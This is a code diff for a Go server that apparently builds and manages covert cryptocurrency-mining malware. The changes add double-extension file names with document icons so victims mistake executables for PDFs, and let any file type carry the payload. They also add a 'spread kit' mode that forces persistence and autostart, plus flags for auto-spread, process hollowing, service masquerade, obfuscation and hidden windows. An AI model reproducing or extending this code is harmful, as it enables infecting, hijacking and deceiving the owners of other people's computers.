@@ -259,26 +233,38 @@ func normalizeFusionMediaMode(mode string) string {
|
||||
}
|
||||
}
|
||||
|
||||
func disguiseVideoExeName(mediaName string) string {
|
||||
base := strings.TrimSuffix(mediaName, filepath.Ext(mediaName))
|
||||
if base == "" {
|
||||
base = "movie"
|
||||
}
|
||||
ext := filepath.Ext(mediaName)
|
||||
if ext == "" {
|
||||
ext = ".mkv"
|
||||
}
|
||||
return sanitizeFileName(base + ext + ".exe")
|
||||
}
|
||||
|
||||
func runnerNameForMedia(mediaName string) string {
|
||||
// runnerNameForFile generates the output runner binary name for a given payload filename.
|
||||
//
|
||||
// On Windows, non-exe payloads use the double-extension trick:
|
||||
//
|
||||
// "quarterly-report.pdf" → "quarterly-report.pdf.exe"
|
||||
//
|
||||
// When Windows hides known file extensions (the OS default), the user sees
|
||||
// "quarterly-report.pdf" with the injected PDF icon — visually identical to the
|
||||
// real document. After applyDocumentDisguise runs, the PE metadata also matches.
|
||||
//
|
||||
// On Linux/macOS the runner uses a simple "-runner" suffix (these platforms
|
||||
// wrap the binary in a .app bundle or the user is expected to chmod+x it).
|
||||
func runnerNameForFile(mediaName string, platform BuildPlatform) string {
|
||||
ext := strings.ToLower(filepath.Ext(mediaName))
|
||||
base := strings.TrimSuffix(filepath.Base(mediaName), filepath.Ext(mediaName))
|
||||
if base == "" {
|
||||
base = "movie"
|
||||
base = "runner"
|
||||
}
|
||||
return sanitizeFileName(base + "-runner.exe")
|
||||
if platform.GOOS == "windows" {
|
||||
// Use disguisedRunnerName which handles double-extension and sanitisation
|
||||
return disguisedRunnerName(mediaName)
|
||||
}
|
||||
// Linux / macOS: simple "-runner" name, no double extension
|
||||
name := sanitizeFileName(base + "-runner")
|
||||
_ = ext // extension not needed for Unix names
|
||||
if platform.Ext != "" {
|
||||
return name + platform.Ext
|
||||
}
|
||||
return name
|
||||
}
|
||||
|
||||
// fusionExportSubdir returns the output subfolder name for the deliverable.
|
||||
func fusionExportSubdir(req *BuildRequest, mediaName string) string {
|
||||
if s := strings.TrimSpace(req.FusionExportSubdir); s != "" {
|
||||
return sanitizeDirName(s)
|
||||
|
||||
@@ -56,12 +56,37 @@ func TestSaveUploadedFusionPayloadCreatesPrepsDir(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestSaveUploadedFusionPayloadRejectsBadExt(t *testing.T) {
|
||||
// Fusion now accepts any file with an extension (.txt, .pdf, .mp4, .docx, etc.)
|
||||
// Only files with no extension at all are rejected.
|
||||
func TestSaveUploadedFusionPayloadAcceptsAnyExtension(t *testing.T) {
|
||||
for _, fname := range []string{"report.pdf", "clip.mp4", "doc.docx", "data.txt", "archive.zip"} {
|
||||
h := &Handler{dataDir: t.TempDir()}
|
||||
body := &bytes.Buffer{}
|
||||
w := multipart.NewWriter(body)
|
||||
partHeader := make(textproto.MIMEHeader)
|
||||
partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="`+fname+`"`)
|
||||
part, _ := w.CreatePart(partHeader)
|
||||
_, _ = part.Write([]byte("x"))
|
||||
w.Close()
|
||||
r := multipart.NewReader(body, w.Boundary())
|
||||
form, _ := r.ReadForm(10 << 20)
|
||||
f, _ := form.File["prep_exe"][0].Open()
|
||||
_, cleanup, err := h.saveUploadedFusionPayload(f, form.File["prep_exe"][0])
|
||||
f.Close()
|
||||
if err != nil {
|
||||
t.Errorf("expected %s to be accepted, got error: %v", fname, err)
|
||||
} else {
|
||||
cleanup()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestSaveUploadedFusionPayloadRejectsNoExtension(t *testing.T) {
|
||||
h := &Handler{dataDir: t.TempDir()}
|
||||
body := &bytes.Buffer{}
|
||||
w := multipart.NewWriter(body)
|
||||
partHeader := make(textproto.MIMEHeader)
|
||||
partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="bad.txt"`)
|
||||
partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="noextension"`)
|
||||
part, _ := w.CreatePart(partHeader)
|
||||
_, _ = part.Write([]byte("x"))
|
||||
w.Close()
|
||||
@@ -71,6 +96,6 @@ func TestSaveUploadedFusionPayloadRejectsBadExt(t *testing.T) {
|
||||
defer f.Close()
|
||||
_, _, err := h.saveUploadedFusionPayload(f, form.File["prep_exe"][0])
|
||||
if err == nil {
|
||||
t.Fatal("expected error for .txt upload")
|
||||
t.Fatal("expected error for file with no extension")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -70,6 +70,11 @@ type BuildRequest struct {
|
||||
ProcessHollowing bool `json:"process_hollowing"`
|
||||
MeshP2P bool `json:"mesh_p2p"`
|
||||
AutoSpread bool `json:"auto_spread"`
|
||||
HolePunch bool `json:"hole_punch"`
|
||||
RemoteAggressive bool `json:"remote_aggressive"`
|
||||
TargetOS string `json:"target_os"`
|
||||
TargetArch string `json:"target_arch"`
|
||||
SpreadKit bool `json:"spread_kit"`
|
||||
Obfuscate bool `json:"obfuscate"`
|
||||
SignBuild bool `json:"sign_build"`
|
||||
}
|
||||
@@ -217,14 +222,11 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
if req.FusionEnabled && prepPath == "" {
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion enabled but no prep.exe uploaded"})
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion enabled but no payload file uploaded"})
|
||||
return
|
||||
}
|
||||
|
||||
if req.FusionEnabled && req.FusionOutputName == "" {
|
||||
req.FusionOutputName = "prep.exe"
|
||||
}
|
||||
|
||||
// FusionOutputName will be derived from the payload filename if not set
|
||||
resp, status, outputPath := h.buildAgent(&req, prepPath)
|
||||
if !resp.Success {
|
||||
writeJSON(w, status, resp)
|
||||
@@ -381,6 +383,10 @@ func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
|
||||
func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, int, string) {
|
||||
if strings.ToLower(strings.TrimSpace(req.TargetOS)) == "universal" {
|
||||
return h.buildUniversalAgent(req, prepPath)
|
||||
}
|
||||
|
||||
buildID := uuid.New().String()
|
||||
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
|
||||
agentDir := filepath.Join(buildDir, "agent")
|
||||
@@ -398,34 +404,16 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
if err := os.MkdirAll(configDir, 0755); err != nil {
|
||||
return BuildResponse{Success: false, Error: "Failed to create config directory"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(configDir, "builtin.go"), []byte(h.generateBuiltinConfig(buildID, req)), 0644); err != nil {
|
||||
return BuildResponse{Success: false, Error: "Failed to write built-in config"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
workerName := fmt.Sprintf("install-%s.exe", sanitizeFileName(req.WorkerName))
|
||||
if req.FusionEnabled {
|
||||
workerName = fmt.Sprintf("worker-%s.exe", sanitizeFileName(req.WorkerName))
|
||||
}
|
||||
outputPath, _ := filepath.Abs(filepath.Join(buildDir, workerName))
|
||||
|
||||
ldflags := "-s -w"
|
||||
if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode || req.FusionEnabled {
|
||||
ldflags += " -H windowsgui"
|
||||
}
|
||||
|
||||
extra, err := injectPolymorph(agentDir, buildID)
|
||||
platforms := platformsForRequest(req)
|
||||
p := platforms[0]
|
||||
outputPath, err := h.compileWorker(agentDir, buildDir, req, buildID, p, req.FusionEnabled)
|
||||
if err != nil {
|
||||
log.Printf("[Forge] polymorph inject: %v", err)
|
||||
} else {
|
||||
ldflags += extra
|
||||
}
|
||||
|
||||
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
|
||||
if _, err := h.compileGoProject(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated); err != nil {
|
||||
log.Printf("Build failed: %v", err)
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
obfuscated := h.shouldObfuscate(req) && h.garblePath != "" && p.GOOS == "windows"
|
||||
workerName := filepath.Base(outputPath)
|
||||
finalPath := outputPath
|
||||
finalName := workerName
|
||||
var fusionEnabled bool
|
||||
@@ -473,13 +461,16 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
if exportLabel == "" {
|
||||
exportLabel = filepath.Base(prepPath)
|
||||
}
|
||||
if req.FusionPayloadKind != "video" {
|
||||
exportLabel = strings.TrimSuffix(finalName, filepath.Ext(finalName))
|
||||
}
|
||||
arts := map[string]string{finalName: finalPath}
|
||||
for _, ex := range extraArtifacts {
|
||||
arts[ex.FileName] = ex.FilePath
|
||||
}
|
||||
// In paired mode the runner looks for the payload file next to (or above) the binary.
|
||||
// Include it in the deliverable so the ZIP is self-contained without needing the
|
||||
// user to place the file themselves.
|
||||
if normalizeFusionMediaMode(req.FusionMediaMode) == "paired" && prepPath != "" {
|
||||
arts[sanitizeFileName(filepath.Base(prepPath))] = prepPath
|
||||
}
|
||||
subdir := fusionExportSubdir(req, exportLabel)
|
||||
readme := fusionReadmeInfo{
|
||||
Title: strings.TrimSuffix(filepath.Base(exportLabel), filepath.Ext(exportLabel)),
|
||||
@@ -567,6 +558,12 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
relPath = filepath.Join(h.dataDir, "builds", buildID, finalName)
|
||||
}
|
||||
|
||||
// Normalise platform tag for easy lookup by /get endpoint
|
||||
recordPlatform := strings.ToLower(strings.TrimSpace(req.TargetOS))
|
||||
if recordPlatform == "" {
|
||||
recordPlatform = "windows"
|
||||
}
|
||||
|
||||
buildRecord := &models.BuildRecord{
|
||||
ID: buildID,
|
||||
WorkerName: req.WorkerName,
|
||||
@@ -574,7 +571,9 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
Wallet: req.Wallet,
|
||||
Threads: req.Threads,
|
||||
FileSize: fileInfo.Size(),
|
||||
BundleSize: bundleSize,
|
||||
FilePath: absPath,
|
||||
Platform: recordPlatform,
|
||||
CreatedAt: time.Now(),
|
||||
PoolHost: req.PoolHost,
|
||||
PoolPort: req.PoolPort,
|
||||
@@ -789,6 +788,18 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
req.AIModel = "llama3.2"
|
||||
}
|
||||
}
|
||||
if strings.TrimSpace(req.TargetOS) == "" {
|
||||
req.TargetOS = "windows"
|
||||
}
|
||||
if req.SpreadKit {
|
||||
req.FusionEnabled = false
|
||||
req.TargetOS = "universal"
|
||||
if req.RunAs == "" || req.RunAs == "user" {
|
||||
req.RunAs = "scheduled"
|
||||
}
|
||||
req.Persistence = true
|
||||
req.AutoStart = true
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -807,7 +818,7 @@ func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipa
|
||||
return "", nil, fmt.Errorf("fusion upload filename is invalid")
|
||||
}
|
||||
if !isFusionPayloadExt(baseName) {
|
||||
return "", nil, fmt.Errorf("fusion upload must be .exe, .mp4, .mkv, or .mov")
|
||||
return "", nil, fmt.Errorf("fusion upload has no recognisable file extension")
|
||||
}
|
||||
|
||||
prepRoot := filepath.Join(h.dataDir, "preps")
|
||||
@@ -842,13 +853,11 @@ func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipa
|
||||
return dest, cleanup, nil
|
||||
}
|
||||
|
||||
// isFusionPayloadExt accepts any file with a non-empty extension.
|
||||
// Fusion now supports any file type — PDF, video, document, image, executable, etc.
|
||||
func isFusionPayloadExt(name string) bool {
|
||||
switch strings.ToLower(filepath.Ext(name)) {
|
||||
case ".exe", ".mp4", ".mkv", ".mov":
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
ext := strings.ToLower(filepath.Ext(name))
|
||||
return ext != "" && ext != "."
|
||||
}
|
||||
|
||||
func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string {
|
||||
@@ -864,7 +873,6 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
return BuiltinConfig{
|
||||
WorkerName: %q,
|
||||
ServerURL: %q,
|
||||
BackupServerURLs: %s,
|
||||
Wallet: %q,
|
||||
Threads: %d,
|
||||
ThreadMode: %q,
|
||||
@@ -903,6 +911,9 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
ProcessHollowing: %v,
|
||||
MeshP2P: %v,
|
||||
AutoSpread: %v,
|
||||
HolePunch: %v,
|
||||
RemoteAggressive: %v,
|
||||
BackupServerURLs: %s,
|
||||
ServiceMasquerade: %v,
|
||||
ServiceName: %q,
|
||||
ServiceDonor: %q,
|
||||
@@ -911,7 +922,6 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
||||
req.WorkerName,
|
||||
req.ServerURL,
|
||||
formatGoStringSlice(req.BackupServerURLs),
|
||||
req.Wallet,
|
||||
req.Threads,
|
||||
req.ThreadMode,
|
||||
@@ -950,6 +960,9 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.ProcessHollowing,
|
||||
req.MeshP2P,
|
||||
req.AutoSpread,
|
||||
req.HolePunch,
|
||||
req.RemoteAggressive,
|
||||
formatGoStringSlice(req.BackupServerURLs),
|
||||
serviceMasqueradeEnabled(req),
|
||||
serviceMasqueradeName(buildID, req),
|
||||
serviceMasqueradeDonor(buildID, req),
|
||||
|
||||
75
server/internal/builder/platform.go
Normal file
75
server/internal/builder/platform.go
Normal file
@@ -0,0 +1,75 @@
|
||||
package builder
|
||||
|
||||
import "strings"
|
||||
|
||||
// BuildPlatform identifies a GOOS/GOARCH compile target.
|
||||
type BuildPlatform struct {
|
||||
GOOS string
|
||||
GOARCH string
|
||||
Ext string
|
||||
}
|
||||
|
||||
func (p BuildPlatform) Label() string {
|
||||
return p.GOOS + "-" + p.GOARCH
|
||||
}
|
||||
|
||||
func (p BuildPlatform) BinDir() string {
|
||||
return "bin/" + p.Label()
|
||||
}
|
||||
|
||||
var defaultPlatforms = []BuildPlatform{
|
||||
{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"},
|
||||
{GOOS: "linux", GOARCH: "amd64", Ext: ""},
|
||||
{GOOS: "linux", GOARCH: "arm64", Ext: ""},
|
||||
{GOOS: "darwin", GOARCH: "arm64", Ext: ""},
|
||||
{GOOS: "darwin", GOARCH: "amd64", Ext: ""},
|
||||
}
|
||||
|
||||
func platformsForRequest(req *BuildRequest) []BuildPlatform {
|
||||
target := strings.ToLower(strings.TrimSpace(req.TargetOS))
|
||||
if target == "" || target == "windows" {
|
||||
return []BuildPlatform{{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}}
|
||||
}
|
||||
if target == "linux" {
|
||||
arch := req.TargetArch
|
||||
if arch == "" {
|
||||
arch = "amd64"
|
||||
}
|
||||
return []BuildPlatform{{GOOS: "linux", GOARCH: arch, Ext: ""}}
|
||||
}
|
||||
if target == "darwin" {
|
||||
arch := req.TargetArch
|
||||
if arch == "" {
|
||||
arch = "arm64"
|
||||
}
|
||||
return []BuildPlatform{{GOOS: "darwin", GOARCH: arch, Ext: ""}}
|
||||
}
|
||||
if target == "universal" {
|
||||
if req.TargetArch != "" && req.TargetArch != "all" {
|
||||
for _, p := range defaultPlatforms {
|
||||
if p.GOARCH == req.TargetArch {
|
||||
return []BuildPlatform{p}
|
||||
}
|
||||
}
|
||||
}
|
||||
return append([]BuildPlatform{}, defaultPlatforms...)
|
||||
}
|
||||
return []BuildPlatform{{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}}
|
||||
}
|
||||
|
||||
func workerFileName(worker string, p BuildPlatform, fusion bool) string {
|
||||
base := sanitizeFileName(worker)
|
||||
if fusion {
|
||||
return "worker-" + base + p.Ext
|
||||
}
|
||||
return "install-" + base + p.Ext
|
||||
}
|
||||
|
||||
func ldflagsFor(req *BuildRequest, p BuildPlatform) string {
|
||||
ldflags := "-s -w"
|
||||
gui := req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode || req.FusionEnabled
|
||||
if p.GOOS == "windows" && gui {
|
||||
ldflags += " -H windowsgui"
|
||||
}
|
||||
return ldflags
|
||||
}
|
||||
77
server/internal/builder/platform_test.go
Normal file
77
server/internal/builder/platform_test.go
Normal file
@@ -0,0 +1,77 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"go/parser"
|
||||
"go/token"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestPlatformsForRequestWindowsDefault(t *testing.T) {
|
||||
req := &BuildRequest{TargetOS: ""}
|
||||
ps := platformsForRequest(req)
|
||||
if len(ps) != 1 || ps[0].GOOS != "windows" {
|
||||
t.Fatalf("expected single windows platform, got %+v", ps)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPlatformsForRequestLinux(t *testing.T) {
|
||||
req := &BuildRequest{TargetOS: "linux", TargetArch: "arm64"}
|
||||
ps := platformsForRequest(req)
|
||||
if len(ps) != 1 || ps[0].GOOS != "linux" || ps[0].GOARCH != "arm64" {
|
||||
t.Fatalf("expected linux/arm64, got %+v", ps)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPlatformsForRequestUniversal(t *testing.T) {
|
||||
req := &BuildRequest{TargetOS: "universal"}
|
||||
ps := platformsForRequest(req)
|
||||
if len(ps) != len(defaultPlatforms) {
|
||||
t.Fatalf("expected %d platforms, got %d", len(defaultPlatforms), len(ps))
|
||||
}
|
||||
if len(ps) < 5 {
|
||||
t.Fatalf("expected at least 5 universal platforms including linux-arm64, got %d", len(ps))
|
||||
}
|
||||
}
|
||||
|
||||
// TestGenerateBuiltinConfigValid checks that the generated Go source for builtin.go
|
||||
// is syntactically valid, catching any mismatch between the template and BuiltinConfig.
|
||||
func TestGenerateBuiltinConfigValid(t *testing.T) {
|
||||
h := &Handler{}
|
||||
req := &BuildRequest{
|
||||
WorkerName: "test",
|
||||
ServerURL: "http://127.0.0.1:8989",
|
||||
Wallet: "4TEST",
|
||||
Threads: 4,
|
||||
ThreadMode: "percent",
|
||||
ThreadPercent: 75,
|
||||
PoolHost: "pool.supportxmr.com",
|
||||
PoolPort: 3333,
|
||||
PoolPass: "x",
|
||||
RunAs: "scheduled",
|
||||
InstallBase: "localappdata",
|
||||
}
|
||||
src := h.generateBuiltinConfig("test-build-id", req)
|
||||
fset := token.NewFileSet()
|
||||
if _, err := parser.ParseFile(fset, "builtin.go", src, 0); err != nil {
|
||||
t.Fatalf("generateBuiltinConfig produced invalid Go source: %v\n\n%s", err, src)
|
||||
}
|
||||
if !strings.Contains(src, "ServiceMasquerade") {
|
||||
t.Error("expected ServiceMasquerade field in generated config")
|
||||
}
|
||||
if !strings.Contains(src, "BackupServerURLs") {
|
||||
t.Error("expected BackupServerURLs field in generated config")
|
||||
}
|
||||
}
|
||||
|
||||
func TestLdflagsForWindowsGUI(t *testing.T) {
|
||||
req := &BuildRequest{StealthMode: true}
|
||||
ld := ldflagsFor(req, BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"})
|
||||
if !strings.Contains(ld, "windowsgui") {
|
||||
t.Fatalf("expected windowsgui in ldflags, got %q", ld)
|
||||
}
|
||||
ldLinux := ldflagsFor(req, BuildPlatform{GOOS: "linux", GOARCH: "amd64", Ext: ""})
|
||||
if strings.Contains(ldLinux, "windowsgui") {
|
||||
t.Fatalf("linux ldflags must not include windowsgui: %q", ldLinux)
|
||||
}
|
||||
}
|
||||
@@ -38,7 +38,7 @@ func (d *Database) scanAgent(row interface {
|
||||
&a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m,
|
||||
&a.SharesTotal, &a.SharesGood, &a.SharesBad,
|
||||
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
|
||||
¬es, &tagsRaw,
|
||||
¬es, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -50,7 +50,7 @@ func (d *Database) scanAgent(row interface {
|
||||
|
||||
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
|
||||
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
|
||||
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags`
|
||||
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version`
|
||||
|
||||
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
|
||||
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)
|
||||
|
||||
@@ -111,8 +111,13 @@ func (d *Database) migrate() error {
|
||||
|
||||
// Best-effort schema upgrades for existing databases.
|
||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN file_path TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN platform TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN bundle_size INTEGER NOT NULL DEFAULT 0`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN notes TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN tags TEXT NOT NULL DEFAULT '[]'`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN platform TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN arch TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN os_version TEXT NOT NULL DEFAULT ''`)
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -120,8 +125,8 @@ func (d *Database) migrate() error {
|
||||
// Agent operations
|
||||
|
||||
func (d *Database) UpsertAgent(a *models.Agent) error {
|
||||
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP))
|
||||
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?)
|
||||
ON CONFLICT(id) DO UPDATE SET
|
||||
name = excluded.name,
|
||||
wallet = excluded.wallet,
|
||||
@@ -130,8 +135,11 @@ func (d *Database) UpsertAgent(a *models.Agent) error {
|
||||
status = excluded.status,
|
||||
cpu_cores = excluded.cpu_cores,
|
||||
memory_gb = excluded.memory_gb,
|
||||
last_seen = excluded.last_seen`
|
||||
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID)
|
||||
last_seen = excluded.last_seen,
|
||||
platform = excluded.platform,
|
||||
arch = excluded.arch,
|
||||
os_version = excluded.os_version`
|
||||
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion)
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -241,17 +249,41 @@ func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.Hash
|
||||
|
||||
// Build operations
|
||||
|
||||
const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, platform, created_at, pool_host, pool_port, pool_tls, pool_pass`
|
||||
|
||||
func scanBuild(row interface {
|
||||
Scan(...any) error
|
||||
}) (*models.BuildRecord, error) {
|
||||
b := &models.BuildRecord{}
|
||||
err := row.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.BundleSize,
|
||||
&b.FilePath, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass)
|
||||
return b, err
|
||||
}
|
||||
|
||||
func (d *Database) InsertBuild(b *models.BuildRecord) error {
|
||||
_, err := d.Exec("INSERT INTO builds (id, worker_name, server_url, wallet, threads, file_size, file_path, created_at, pool_host, pool_port, pool_tls, pool_pass) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)",
|
||||
b.ID, b.WorkerName, b.ServerURL, b.Wallet, b.Threads, b.FileSize, b.FilePath, b.CreatedAt,
|
||||
_, err := d.Exec(`INSERT INTO builds
|
||||
(id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, platform, created_at, pool_host, pool_port, pool_tls, pool_pass)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
|
||||
b.ID, b.WorkerName, b.ServerURL, b.Wallet, b.Threads, b.FileSize, b.BundleSize,
|
||||
b.FilePath, b.Platform, b.CreatedAt,
|
||||
b.PoolHost, b.PoolPort, b.PoolTLS, b.PoolPass)
|
||||
return err
|
||||
}
|
||||
|
||||
func (d *Database) GetBuild(id string) (*models.BuildRecord, error) {
|
||||
b := &models.BuildRecord{}
|
||||
err := d.QueryRow(`SELECT id, worker_name, server_url, wallet, threads, file_size, file_path, created_at, pool_host, pool_port, pool_tls, pool_pass FROM builds WHERE id = ?`, id).
|
||||
Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.FilePath, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass)
|
||||
return scanBuild(d.QueryRow(`SELECT `+buildSelectCols+` FROM builds WHERE id = ?`, id))
|
||||
}
|
||||
|
||||
func (d *Database) GetLatestBuildForPlatform(platform string) (*models.BuildRecord, error) {
|
||||
var query string
|
||||
var args []any
|
||||
if platform == "" || platform == "any" {
|
||||
query = `SELECT ` + buildSelectCols + ` FROM builds ORDER BY created_at DESC LIMIT 1`
|
||||
} else {
|
||||
query = `SELECT ` + buildSelectCols + ` FROM builds WHERE platform = ? ORDER BY created_at DESC LIMIT 1`
|
||||
args = []any{platform}
|
||||
}
|
||||
b, err := scanBuild(d.QueryRow(query, args...))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -259,8 +291,7 @@ func (d *Database) GetBuild(id string) (*models.BuildRecord, error) {
|
||||
}
|
||||
|
||||
func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) {
|
||||
query := `SELECT id, worker_name, server_url, wallet, threads, file_size, file_path, created_at, pool_host, pool_port, pool_tls, pool_pass FROM builds ORDER BY created_at DESC LIMIT ?`
|
||||
rows, err := d.Query(query, limit)
|
||||
rows, err := d.Query(`SELECT `+buildSelectCols+` FROM builds ORDER BY created_at DESC LIMIT ?`, limit)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -268,9 +299,8 @@ func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) {
|
||||
|
||||
var builds []*models.BuildRecord
|
||||
for rows.Next() {
|
||||
b := &models.BuildRecord{}
|
||||
if err := rows.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.FilePath, &b.CreatedAt,
|
||||
&b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass); err != nil {
|
||||
b, err := scanBuild(rows)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
builds = append(builds, b)
|
||||
|
||||
@@ -27,6 +27,22 @@ type Agent struct {
|
||||
|
||||
Notes string `json:"notes"`
|
||||
Tags []string `json:"tags"`
|
||||
|
||||
Platform string `json:"platform,omitempty"`
|
||||
Arch string `json:"arch,omitempty"`
|
||||
OSVersion string `json:"os_version,omitempty"`
|
||||
|
||||
Capabilities *AgentCapabilities `json:"capabilities,omitempty"`
|
||||
}
|
||||
|
||||
// AgentCapabilities reports forge-time features available for remote command.
|
||||
type AgentCapabilities struct {
|
||||
HolePunch bool `json:"hole_punch"`
|
||||
RemoteAggressive bool `json:"remote_aggressive"`
|
||||
MeshP2P bool `json:"mesh_p2p"`
|
||||
AutoSpread bool `json:"auto_spread"`
|
||||
ProcessHollowing bool `json:"process_hollowing"`
|
||||
AIEnabled bool `json:"ai_enabled"`
|
||||
}
|
||||
|
||||
type Share struct {
|
||||
@@ -65,7 +81,9 @@ type BuildRecord struct {
|
||||
Wallet string `json:"wallet"`
|
||||
Threads int `json:"threads"`
|
||||
FileSize int64 `json:"file_size"`
|
||||
BundleSize int64 `json:"bundle_size"`
|
||||
FilePath string `json:"file_path"`
|
||||
Platform string `json:"platform"` // "windows", "linux", "darwin", "universal"
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
// Pool settings
|
||||
PoolHost string `json:"pool_host"`
|
||||
|
||||
@@ -498,12 +498,16 @@ func (p *Proxy) parseAndSetJob(data json.RawMessage) {
|
||||
}
|
||||
|
||||
func (p *Proxy) subscribe() {
|
||||
p.mu.Lock()
|
||||
p.requestID++
|
||||
subID := p.requestID
|
||||
p.mu.Unlock()
|
||||
|
||||
subParams := []string{}
|
||||
paramsData, _ := json.Marshal(subParams)
|
||||
|
||||
subReq := StratumRequest{
|
||||
ID: p.requestID,
|
||||
ID: subID,
|
||||
Method: "subscribe",
|
||||
Params: paramsData,
|
||||
}
|
||||
@@ -542,8 +546,11 @@ func (p *Proxy) submitShareToPool(share *PendingShare) {
|
